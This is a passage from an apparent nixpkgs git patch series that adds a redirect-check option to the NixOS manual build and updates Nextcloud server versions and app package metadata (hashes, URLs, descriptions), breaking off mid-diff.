           --manpage-urls ${manpageUrls} \
-          --redirects ${./redirects.json} \
+          ${if checkRedirects then "--redirects ${./redirects.json}" else ""} \
           --revision ${escapeShellArg revision} \
           --generator "nixos-render-docs ${pkgs.lib.version}" \
           --stylesheet style.css \
diff --git a/nixos/modules/misc/documentation.nix b/nixos/modules/misc/documentation.nix
index 79258026eb88..7545bbd4d7db 100644
--- a/nixos/modules/misc/documentation.nix
+++ b/nixos/modules/misc/documentation.nix
@@ -69,6 +69,7 @@ let
     version = config.system.nixos.release;
     revision = "release-${version}";
     extraSources = cfg.nixos.extraModuleSources;
+    checkRedirects = cfg.nixos.checkRedirects;
     options =
       let
         scrubbedEval = evalModules {
@@ -353,6 +354,14 @@ in
         '';
       };
 
+      nixos.checkRedirects = mkOption {
+        type = types.bool;
+        default = true;
+        description = ''
+          Check redirects for manualHTML.
+        '';
+      };
+
     };
 
   };

From 7075e5525684368457d00b5368a760bf0be02d7a Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 12 Jun 2025 12:03:31 +0200
Subject: [PATCH 0911/4511] nextcloud30: 30.0.11 -> 30.0.12

(cherry picked from commit 2221b1e4887827a192aa1dd30edf2d633fda6e7e)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index 4764a92e246e..cc352c9884b4 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -59,8 +59,8 @@ let
 in
 {
   nextcloud30 = generic {
-    version = "30.0.11";
-    hash = "sha256-WEJ3LV1xLxBdyPFdZ4hFnmFEuDbMiKBiyQU3CiZUN3o=";
+    version = "30.0.12";
+    hash = "sha256-nhmyX0InPUNhIYQmtHYqdmvuQIz6aqghn4wn9yCVp6g=";
     packages = nextcloud30Packages;
   };
 

From b4a320901b08678eb235b3fbee8ffe87c842ce2f Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 12 Jun 2025 12:03:49 +0200
Subject: [PATCH 0912/4511] nextcloud31: 31.0.5 -> 31.0.6

(cherry picked from commit 5e6420aaa5720af37277b5d18f0e786f26e15d1a)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index cc352c9884b4..17b4805878c3 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   nextcloud31 = generic {
-    version = "31.0.5";
-    hash = "sha256-Iii49STc2H8IoqkoHUGwT1y1ALdiS8jI4HuOMDkGFQM=";
+    version = "31.0.6";
+    hash = "sha256-pqvOG+hK5lCQYliV7leWxuYx/RDLF2RexNc/fZs3Jig=";
     packages = nextcloud31Packages;
   };
 

From 41e97bf09ffe5c0d2f866c4ef4b4ad6554b2d52d Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Thu, 12 Jun 2025 12:04:49 +0200
Subject: [PATCH 0913/4511] nextcloudPackages: update

(cherry picked from commit bdac879cf486ae90ea1e4df32f0bde214b78047b)
---
 pkgs/servers/nextcloud/packages/30.json | 78 ++++++++++----------
 pkgs/servers/nextcloud/packages/31.json | 94 ++++++++++++++-----------
 2 files changed, 91 insertions(+), 81 deletions(-)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 0d8173a54e09..797455c8014b 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -20,19 +20,19 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-z/BMKay9Fj+aIypPA9cbEJ6dcB03oGPhy2TSGHJeRz0=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.2.4/calendar-v5.2.4.tar.gz",
-    "version": "5.2.4",
-    "description": "The Calendar app is a user interface for Nextcloud's CalDAV server. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Contacts - more to come.\n* 🌐 **WebCal Support!** Want to see your favorite team’s matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚️ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 Search! Find your events at ease\n* ☑️ Tasks! See tasks with a due date directly in the calendar\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
+    "hash": "sha256-vsqyTtHDTjB4POwQyDtlAPnb8nBQw0ZTBnBUqP4Kw9A=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.2/calendar-v5.3.2.tar.gz",
+    "version": "5.3.2",
+    "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
       "agpl"
     ]
   },
   "collectives": {
-    "hash": "sha256-U6EQumuN7b309JtaWwdbluQcK7Gpt5O6q9fJu6qyVhE=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v2.17.0/collectives-2.17.0.tar.gz",
-    "version": "2.17.0",
+    "hash": "sha256-RCpIfoSmYahIo03IumJwEn/06ZeqOhJ/ov5WKGvwcUA=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v2.18.0/collectives-2.18.0.tar.gz",
+    "version": "2.18.0",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-OYObGIEAViBMWesL/kNv4FHO7SSa73rdVjklwuyPSrY=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.0/contacts-v7.1.0.tar.gz",
-    "version": "7.1.0",
+    "hash": "sha256-uT1QOZpuKvsrnZWYbaQUhUdM49xdIivotFe6FAz330I=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.3/contacts-v7.1.3.tar.gz",
+    "version": "7.1.3",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -83,7 +83,7 @@
     "hash": "sha256-ZPVvr84WTiZRobgWeagHCYxpfoVyRQgF8YIbwUoDpWo=",
     "url": "https://github.com/nextcloud-releases/end_to_end_encryption/releases/download/v1.16.2/end_to_end_encryption-v1.16.2.tar.gz",
     "version": "1.16.2",
-    "description": "This app provides all the necessary APIs to implement End-to-End encryption on the client side.\nAdditionally it implements Secure FileDrop and makes sure that End-to-End encrypted files are neither accessible via the web interface nor other WebDAV clients.",
+    "description": "Provides the necessary endpoint to enable end-to-end encryption.\n\n**Notice:** E2EE is currently not compatible to be used together with server-side encryption",
     "homepage": "https://github.com/nextcloud/end_to_end_encryption",
     "licenses": [
       "agpl"
@@ -190,9 +190,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-uDig7ySWlx7WqYzjB9H45p3a9EfUFxY3Es0dso6uQJs=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.0.7/mail-v5.0.7.tar.gz",
-    "version": "5.0.7",
+    "hash": "sha256-P2LeJOjCR6ufq26gz4aK/Xy359vwnD2TZJodn/YfXcU=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.3/mail-v5.1.3.tar.gz",
+    "version": "5.1.3",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -230,9 +230,9 @@
     ]
   },
   "news": {
-    "hash": "sha256-trXnDSSFyr5HKXaS1S3XrlSAUiiT+8B+kP0lg+exLcs=",
-    "url": "https://github.com/nextcloud/news/releases/download/25.3.1/news.tar.gz",
-    "version": "25.3.1",
+    "hash": "sha256-T/ZKL4YWw0ai7mZ9gm91BUl6Md6hyTakYgKsarSYO4k=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.0.1/news.tar.gz",
+    "version": "26.0.1",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -240,9 +240,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-UdqK6DiC67YPcy84wFEZaT8AQLDhhNndLiEesQeBY7M=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.0/notes-v4.12.0.tar.gz",
-    "version": "4.12.0",
+    "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
+    "version": "4.12.1",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -260,9 +260,9 @@
     ]
   },
   "onlyoffice": {
-    "hash": "sha256-lOkVGOo2ylTaRVDFGD31DMUb3IbteWgFkHEj0Ox0D84=",
-    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.8.0/onlyoffice.tar.gz",
-    "version": "9.8.0",
+    "hash": "sha256-Nj8siAeNyN/lyq+K5y92ZXMqRLmhawtR9Q6b5dq7LL0=",
+    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.9.0/onlyoffice.tar.gz",
+    "version": "9.9.0",
     "description": "ONLYOFFICE app allows you to view, edit and collaborate on text documents, spreadsheets and presentations within Nextcloud using ONLYOFFICE Docs. This will create a new Edit in ONLYOFFICE action within the document library for Office documents. This allows multiple users to co-author documents in real time from the familiar web interface and save the changes back to your file storage.",
     "homepage": "https://www.onlyoffice.com",
     "licenses": [
@@ -280,9 +280,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-zatPm8JY1WkeO2Uvm9BUVPXrJp0df12jspqSNNuZVh0=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.2/polls-v7.4.2.tar.gz",
-    "version": "7.4.2",
+    "hash": "sha256-AJUC5UIz6xY75cEJHfNjhUm9K9HnXWMokt9gIOcq8vI=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.3/polls-v7.4.3.tar.gz",
+    "version": "7.4.3",
     "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -340,19 +340,19 @@
     ]
   },
   "sociallogin": {
-    "hash": "sha256-DNf48YmVJ49v+lynTCIBTZhPi/S1mjyIF5OWf+UVKeY=",
-    "url": "https://github.com/zorn-v/nextcloud-social-login/releases/download/v6.0.1/release.tar.gz",
-    "version": "6.0.1",
-    "description": "# Social login\n\nMake possible create users and login via Telegram, OAuth or OpenID\n\nFor OAuth you must create app for certain providers. Login button appear at login page if app id specified. Settings are in \"Social login\" section of settings page.\n\n## Installation\n\nLogin to your NextCloud installation as an administrator and under \"Apps\" click \"Download and enable\" next to the \"Social Login\" app.\n\nSee below for setup and configuration instructions.\n\n\n\n## Custom OAuth2/OIDC groups\n\nYou can use groups from your custom provider. For that you should specify \"Groups claim\" in custom OAuth2/OIDC provider settings. That claim should be returned from provider in `id_token` or at user info endpoint. Format should be `array` or comma separated string. Eg (with claim named `roles`)\n\n```json\n{\"roles\": [\"admin\", \"user\"]}\n```\nor\n```json\n{\"roles\": \"admin,user\"}\n```\n\nAlso nested claims is supported. For example `resource_access.client-id.roles` for\n\n```json\n\"resource_access\": {\n   \"client-id\": {\n     \"roles\": [\n       \"client-role-1\",\n       \"client-role-2\"\n     ]\n   }\n}\n```\n\nThere is also support for setting the displayName:\n```\n{\"roles\": [{gid: 1, displayName: \"admin\"}, {gid: 2, displayName: \"user\"}]}\n```\n\n\nYou can use provider groups in two ways:\n\n1. Map provider groups to existing nextcloud groups\n2. Create provider groups in nextcloud and associate it to user (if appropriate option specified)\n\nIf you want sync groups on every login do not forget to check \"Update user profile every login\" setting\n\n## Examples for groups\n\n* You can find example how to configure WSO2IS for return roles claim with OIDC [here](https://medium.com/@dewni.matheesha/claim-mapping-and-retrieving-end-user-information-in-wso2is-cffd5f3937ff)\n* [GitLab OIDC allowing specific GitLab groups](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md)\n\n## Built-in OAuth providers\n\nYou can copy link of certain login button to get proper \"redirect url\" for OAuth app setting.\n\n* [Google](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/google.md)\n* [Amazon](https://developer.amazon.com/loginwithamazon/console/site/lwa/overview.html)\n* [Facebook](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/facebook.md)\n* [Twitter](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/twitter.md)\n* [GitHub](https://github.com/settings/developers)\n* [Discord](#configure-discord)\n* [Telegram](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/telegram.md)\n* PlexTv - you can use any title as app id\n* [Codeberg](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/codeberg.md)\n\nDetails about \"Allow login only from specified domain\" google setting you can find here [#44](https://github.com/zorn-v/nextcloud-social-login/issues/44)\nYou can use comma separated list for multiple domains\n\n## Config\n\nYou can use `'social_login_auto_redirect' => true` setting in `config.php` for auto redirect unauthorized users to social login if only one provider is configured.\nIf you want to temporary disable this function (e.g. for login as local admin), you can add `noredir=1` query parameter in url for login page. Something like `https://cloud.domain.com/login?noredir=1`\n\nTo set options for http client, you can use\n```php\n  'social_login_http_client' => [\n    'timeout' => 45,\n    'proxy' => 'socks4://127.0.0.1:9050', // Check https://curl.se/libcurl/c/CURLOPT_PROXY.html for allowed variants\n  ],\n```\nin `config.php`\n\n### Configurate a provider via CLI\n\nYou can configure everything from commandline by using the occ utility. To setup a oidc-provider replace the variables and URLs with values that match your deployment.\n```bash\nphp occ config:app:set sociallogin custom_providers --value='{\"custom_oidc\": [{\"name\": \"gitlab_oidc\", \"title\": \"Gitlab\", \"authorizeUrl\": \"https://gitlab.my-domain.org/oauth/authorize\", \"tokenUrl\": \"https://gitlab.my-domain.org/oauth/token\", \"userInfoUrl\": \"https://gitlab.my-domain.org/oauth/userinfo\", \"logoutUrl\": \"\", \"clientId\": \"$my_application_id\", \"clientSecret\": \"$my_super_secret_secret\", \"scope\": \"openid\", \"groupsClaim\": \"groups\", \"style\": \"gitlab\", \"defaultGroup\": \"\"}]}'\n```\nto do this with docker you just need to add `docker exec -t -uwww-data CONTAINER_NAME` in front of the command, or run it interactively from `docker exec -it -uwww-data CONTAINER_NAME sh`\n\nTo find out how to configure other providers, just configure them in the GUI and take a look at the database afterwards:\n```\nmysql -u nextcloud -p nextcloud\nPassword: <yourpassword>\n\n> SELECT * FROM oc_appconfig WHERE appid='sociallogin';\n```\n\nOr just run\n\n`docker exec -t -uwww-data CONTAINER_NAME php occ config:app:get sociallogin custom_providers`\n\n### Configure Discord\n\nTo properly configure discord you have to:\n\n1. Create new discord application on [DiscordApp developers](https://discordapp.com/developers/applications/me#top)\n2. Open tab `Settings -> OAuth2 -> General`. In `Redirects` add new redirection link looking like this: `https://nextcloud.mydomain.com/apps/sociallogin/oauth/discord`.\n3. Copy `CLIENT ID` and generate and copy `CLIENT SECRET`\n4. Open in Nextcloud `Settings -> Social Login` and paste `CLIENT ID` into field `App id` and `CLIENT SECRET` into `Secret`.\n5. Select default group for users created this way.\n6. For group mapping check [#395](https://github.com/zorn-v/nextcloud-social-login/pull/395)\n\n## Hint\n\n### About Callback(Reply) Url\nYou can copy link from specific login button on login page and paste it on provider's website as callback url. To make proper button visible, just fill certain provider settings with random data and change it later.\n\nSome users may get strange reply(Callback) url error from provider even if you pasted the right url, that's because your nextcloud server may generate http urls when you are actually using https.\nPlease set 'overwriteprotocol' => 'https', in your config.php file.",
+    "hash": "sha256-wNDmu4IdpjZSw3ppWJpQ13q7/2l5B71m76Lzs/SHkkY=",
+    "url": "https://github.com/zorn-v/nextcloud-social-login/releases/download/v6.0.2/release.tar.gz",
+    "version": "6.0.2",
+    "description": "# Social Login\n\nMake it possible to create users and log in via Telegram, OAuth, or OpenID.\n\nFor OAuth, you must create an app with certain providers. Login buttons will appear on the login page if an app ID is specified. Settings are located in the \"Social login\" section of the settings page.\n\n## Installation\n\nLog in to your Nextcloud installation as an administrator. Under \"Apps\", click \"Download and enable\" next to the \"Social Login\" app.\n\nSee below for setup and configuration instructions.\n\n## Custom OAuth2/OIDC Groups\n\nYou can use groups from your custom provider. For this, specify the \"Groups claim\" in the custom OAuth2/OIDC provider settings. This claim should be returned from the provider in the `id_token` or at the user info endpoint. The format should be an `array` or a comma-separated string. E.g., (with a claim named `roles`):\n\n```json\n{\"roles\": [\"admin\", \"user\"]}\n```\nor\n```json\n{\"roles\": \"admin,user\"}\n```\n\nNested claims are also supported. For example, `resource_access.client-id.roles` for:\n\n```json\n\"resource_access\": {\n   \"client-id\": {\n     \"roles\": [\n       \"client-role-1\",\n       \"client-role-2\"\n     ]\n   }\n}\n```\n\n**DisplayName** support is also available:\n```json\n{\"roles\": [{\"gid\": 1, \"displayName\": \"admin\"}, {\"gid\": 2, \"displayName\": \"user\"}]}\n```\n\nYou can use provider groups in two ways:\n\n1. Map provider groups to existing Nextcloud groups.\n2. Create provider groups in Nextcloud and associate them with users (if the appropriate option is enabled).\n\nTo sync groups on every login, ensure the \"Update user profile every login\" setting is checked.\n\n## Examples for Groups\n\n* Configure WSO2IS to return a roles claim with OIDC [here](https://medium.com/@dewni.matheesha/claim-mapping-and-retrieving-end-user-information-in-wso2is-cffd5f3937ff).\n* [GitLab OIDC configuration to allow specific GitLab groups](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md).\n\n## Built-in OAuth Providers\n\nCopy the link from a specific login button to get the correct \"redirect URL\" for OAuth app settings.\n\n* [Amazon](https://developer.amazon.com/loginwithamazon/console/site/lwa/overview.html)\n* [Apple](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/apple.md)\n* [Codeberg](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/codeberg.md)\n* [Discord](#configure-discord)\n* [Facebook](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/facebook.md)\n* [GitHub](https://github.com/settings/developers)\n* [GitLab](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/gitlab.md)\n* [Google](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/google.md)\n* [Keycloak](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/keycloak.md)\n* [Mail.ru](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/mailru.md)\n* **PlexTv**: Use any title as the app ID.\n* [Telegram](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/telegram.md)\n* [Twitter](https://github.com/zorn-v/nextcloud-social-login/blob/master/docs/sso/twitter.md)\n\nFor details about Google's \"Allow login only from specified domain\" setting, see [#44](https://github.com/zorn-v/nextcloud-social-login/issues/44). Use a comma-separated list for multiple domains.\n\n## Configuration\n\nAdd `'social_login_auto_redirect' => true` to `config.php` to automatically redirect unauthorized users to social login if only one provider is configured. To temporarily disable this (e.g., for local admin login), add `noredir=1` to the login URL: `https://cloud.domain.com/login?noredir=1`.\n\nConfigure HTTP client options using:\n```php\n  'social_login_http_client' => [\n    'timeout' => 45,\n    'proxy' => 'socks4://127.0.0.1:9050', // See <https://curl.se/libcurl/c/CURLOPT_PROXY.html> for allowed formats\n  ],\n```\nin `config.php`.\n\n### Configure a Provider via CLI\n\nUse the `occ` utility to configure providers via the command line. Replace variables and URLs with your deployment values:\n```bash\nphp occ config:app:set sociallogin custom_providers --value='{\"custom_oidc\": [{\"name\": \"gitlab_oidc\", \"title\": \"Gitlab\", \"authorizeUrl\": \"https://gitlab.my-domain.org/oauth/authorize\", \"tokenUrl\": \"https://gitlab.my-domain.org/oauth/token\", \"userInfoUrl\": \"https://gitlab.my-domain.org/oauth/userinfo\", \"logoutUrl\": \"\", \"clientId\": \"$my_application_id\", \"clientSecret\": \"$my_super_secret_secret\", \"scope\": \"openid\", \"groupsClaim\": \"groups\", \"style\": \"gitlab\", \"defaultGroup\": \"\"}]}'\n```\nFor Docker, prepend `docker exec -t -uwww-data CONTAINER_NAME` to the command or run interactively via `docker exec -it -uwww-data CONTAINER_NAME sh`.\n\nTo inspect configurations:\n```sql\nmysql -u nextcloud -p nextcloud\nPassword: <yourpassword>\n\n> SELECT * FROM oc_appconfig WHERE appid='sociallogin';\n```\nOr run:\n```bash\ndocker exec -t -uwww-data CONTAINER_NAME php occ config:app:get sociallogin custom_providers\n```\n\n### Configure Discord\n\n1. Create a Discord application at [Discord Developer Portal](https://discord.com/developers/applications).\n2. Navigate to `Settings > OAuth2 > General`. Add a redirect URL: `https://nextcloud.mydomain.com/apps/sociallogin/oauth/discord`.\n3. Copy the `CLIENT ID` and generate a `CLIENT SECRET`.\n4. In Nextcloud, go to `Settings > Social Login`. Paste the `CLIENT ID` into \"App id\" and `CLIENT SECRET` into \"Secret\".\n5. Select a default group for new users.\n6. For group mapping, see [#395](https://github.com/zorn-v/nextcloud-social-login/pull/395).\n\n## Hint\n\n### Callback (Reply) URL\nCopy the link from a login button on the Nextcloud login page and use it as the callback URL on your provider's site. To make the button visible temporarily, fill provider settings with placeholder data and update later.\n\nIf you encounter callback URL errors despite correct settings, ensure your Nextcloud server generates HTTPS URLs by adding `'overwriteprotocol' => 'https'` to `config.php`.",
     "homepage": "https://github.com/zorn-v/nextcloud-social-login",
     "licenses": [
       "agpl"
     ]
   },
   "spreed": {
-    "hash": "sha256-KldJD49vxL1cRxsS8eOXTc0uYfj8ctChEwYMKicfJgY=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.6/spreed-v20.1.6.tar.gz",
-    "version": "20.1.6",
+    "hash": "sha256-C3TLD6tZa++H6Kg0X5gz2kyJQVitXJoQ5rUccyX4N8w=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.7/spreed-v20.1.7.tar.gz",
+    "version": "20.1.7",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -380,9 +380,9 @@
     ]
   },
   "twofactor_webauthn": {
-    "hash": "sha256-16Silofm/alQaKZ2buNqyLEjKK2kR2IpTAxEawHpGjI=",
-    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.1.0/twofactor_webauthn-v2.1.0.tar.gz",
-    "version": "2.1.0",
+    "hash": "sha256-cfityMvl6BLsxkGkR3Mm61AZsykC7KjDkDRIyFAQP4c=",
+    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.0/twofactor_webauthn-v2.2.0.tar.gz",
+    "version": "2.2.0",
     "description": "A two-factor provider for WebAuthn devices",
     "homepage": "https://github.com/nextcloud/twofactor_webauthn#readme",
     "licenses": [
@@ -400,9 +400,9 @@
     ]
   },
   "unsplash": {
-    "hash": "sha256-hUKpIGvu7aX45Pz/xCssOuyZ7E+kJ4cmqhhycX5DG6A=",
-    "url": "https://github.com/nextcloud/unsplash/releases/download/v3.0.3/unsplash.tar.gz",
-    "version": "3.0.3",
+    "hash": "sha256-j0cQem+KLQFxj19DIqK6wqYYDs31V1VfVobH5JZ89RM=",
+    "url": "https://github.com/nextcloud-releases/unsplash/releases/download/v3.1.0/unsplash-v3.1.0.tar.gz",
+    "version": "3.1.0",
     "description": "Show a new random featured nature photo in your nextcloud. Now with choosable motives!",
     "homepage": "https://github.com/nextcloud/unsplash/",
     "licenses": [
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index baaaf516b433..dfa8dbdd3f90 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -20,19 +20,19 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-z/BMKay9Fj+aIypPA9cbEJ6dcB03oGPhy2TSGHJeRz0=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.2.4/calendar-v5.2.4.tar.gz",
-    "version": "5.2.4",
